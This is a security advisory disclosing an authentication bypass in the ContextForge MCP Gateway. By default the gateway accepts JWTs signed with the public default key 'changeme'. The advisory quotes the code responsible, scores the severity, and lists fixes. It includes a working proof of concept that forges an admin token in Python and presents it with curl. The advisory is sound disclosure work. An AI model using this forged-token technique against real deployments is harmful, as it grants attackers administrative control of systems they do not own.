Skip to content

ContextForge MCP Gateway: predictable default JWT signing key ("changeme") accepted in the default environment enables authentication bypass

High
brian-hussey published GHSA-5424-f25v-29r8 Aug 24, 2026

Package

pip mcp-contextforge-gateway (pip)

Affected versions

<= 1.0.6

Patched versions

1.0.7

Description

Security Advisory: IBM ContextForge MCP Gateway (IBM/mcp-context-forge)

▎ Scope and safety. This advisory is the result of a local, static source review of the public IBM/mcp-context-forge repository. No live IBM-operated service, hosted deployment, or third-party instance was accessed, scanned, or attacked. The proof of concept was constructed and validated locally against fabricated credentials (the repository's own published default value), using a JWT the reviewer minted on their own machine.

Repository: https://github.com/IBM/mcp-context-forge (ContextForge MCP Gateway)
Reviewed: main @ 99d864d, re-verified 2026-07-06.
Findings: 1 (High)

Finding 1 (HIGH): Predictable default JWT signing key enables authentication bypass in the default environment

CWE: CWE-1188 (Insecure Default Initialization of Resource) + CWE-798 (Use of Hard-coded Credentials)
CVSS v3.1: AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L = 7.1 (High). The AC:H metric already accounts for the two documented defaults that must stay unchanged. Note that this combination is the shipped out-of-box state (ENVIRONMENT=development, JWT_SECRET_KEY unset), not an unusual misconfiguration, which is why the default value that anchors token trust is treated as High.

Summary: In its shipped default configuration (ENVIRONMENT=development, JWT_SECRET_KEY unset), the gateway signs and verifies session/authorization JWTs with the publicly-known literal string "changeme" (HS256). The one guard that would reject a weak secret is explicitly skipped in the development environment, and development is the default. Any network-reachable client can mint a JWT signed with "changeme", set an arbitrary (admin) subject, and bypass AUTH_REQUIRED=true entirely.

Technical detail:

mcpgateway/config.py

jwt_secret_key: SecretStr = Field(default=SecretStr("changeme"))
jwt_algorithm: str = "HS256"
environment: Literal["development","staging","production"] = Field(default="development")
derive_key_per_environment: bool = Field(default=False)

validate_security_combinations(): the weak-secret guard is bypassed in development

if val.lower() in weak_secrets:
if env != "development": # default env 'development' => guard skipped
raise SecurityConfigurationError(...)

mcpgateway/utils/jwt_config_helper.py: HS branch returns the base secret verbatim (no derivation by default) => "changeme"

if algorithm.startswith("HS"):
base = settings.jwt_secret_key.get_secret_value() ...
return _derive_env_key(base, settings.environment) if settings.derive_key_per_environment else base

mcpgateway/utils/verify_credentials.py (verify_jwt_token):

decode_kwargs = {"key": get_jwt_public_key_or_secret(), "algorithms": [settings.jwt_algorithm], "options": options}
payload = jwt.decode(token, **decode_kwargs)

validate_token_environment rejects ONLY a present-and-mismatched env claim; a missing env claim passes

if settings.validate_token_environment:
token_env = payload.get("env")
if token_env is not None and token_env != settings.environment:
raise HTTPException(status_code=401, ...)

The remaining claim checks are not barriers to an attacker who knows the key: jwt_audience/jwt_issuer default to the public constants mcpgateway-api/mcpgateway (include matching aud/iss); require_token_expiration/require_jti only force including exp and jti, which is trivial. Net effect: in the default environment the gateway boots (emitting only a warning) and trusts any HS256 token signed with the world-readable string "changeme".

Proof of concept (local, the project's own published default key; no real secret used):

import jwt, time
tok = jwt.encode(
{"sub": "admin", "aud": "mcpgateway-api", "iss": "mcpgateway", "jti": "forged-1",
"iat": int(time.time()), "exp": int(time.time()) + 3600},
"changeme", # the shipped default JWT_SECRET_KEY
algorithm="HS256",
)

present to any authenticated route of a default-config gateway:

curl -H "Authorization: Bearer " https://target:4444/tools -> accepted as authenticated principal 'admin'

Against a gateway started with defaults (ENVIRONMENT unset/development, JWT_SECRET_KEY unset) and AUTH_REQUIRED=true, the forged token is accepted and served as an authenticated administrator.

Impact: Complete authentication bypass on a default-configured, network-reachable gateway. An unauthenticated attacker can forge a token bearing any identity, defeating AUTH_REQUIRED=true, and reach every management and proxy surface the gateway exposes, registering/invoking tools and MCP servers, reading/mutating gateway configuration, and pivoting to the downstream systems the gateway fronts (scope change). Deployments that set ENVIRONMENT=staging|production are protected by a fail-closed startup check and are not affected; deployments that set a strong JWT_SECRET_KEY are not affected. The exposure is the common quickstart / docker run / demo state that then gets network-exposed on the public default key.

Remediation:

  1. Fail closed on the default/weak key regardless of environment when AUTH_REQUIRED is true, including in development (remove the if env != "development": carve-out; a warning is insufficient for a value that anchors token trust). Gate any local-dev relaxation behind an explicit, loud opt-in (e.g. ALLOW_INSECURE_JWT_SECRET=true).
  2. Remove the hard-coded SecretStr("changeme") default so an unset JWT_SECRET_KEY is a hard configuration error, or generate a random per-process secret at startup; enforce minimum entropy/length.
  3. Consider enabling derive_key_per_environment and validate_token_environment (with a required env claim) by default so a token minted under one environment/key cannot be replayed against another.
  4. Ensure every quickstart, Docker, and Compose path sets JWT_SECRET_KEY to a generated value (or fails without one).

All quoted code was confirmed present verbatim on main @ 99d864d on 2026-07-06. No live IBM systems, deployments, or credentials were tested or accessed.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

CVE ID

No known CVE

Weaknesses

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

Credits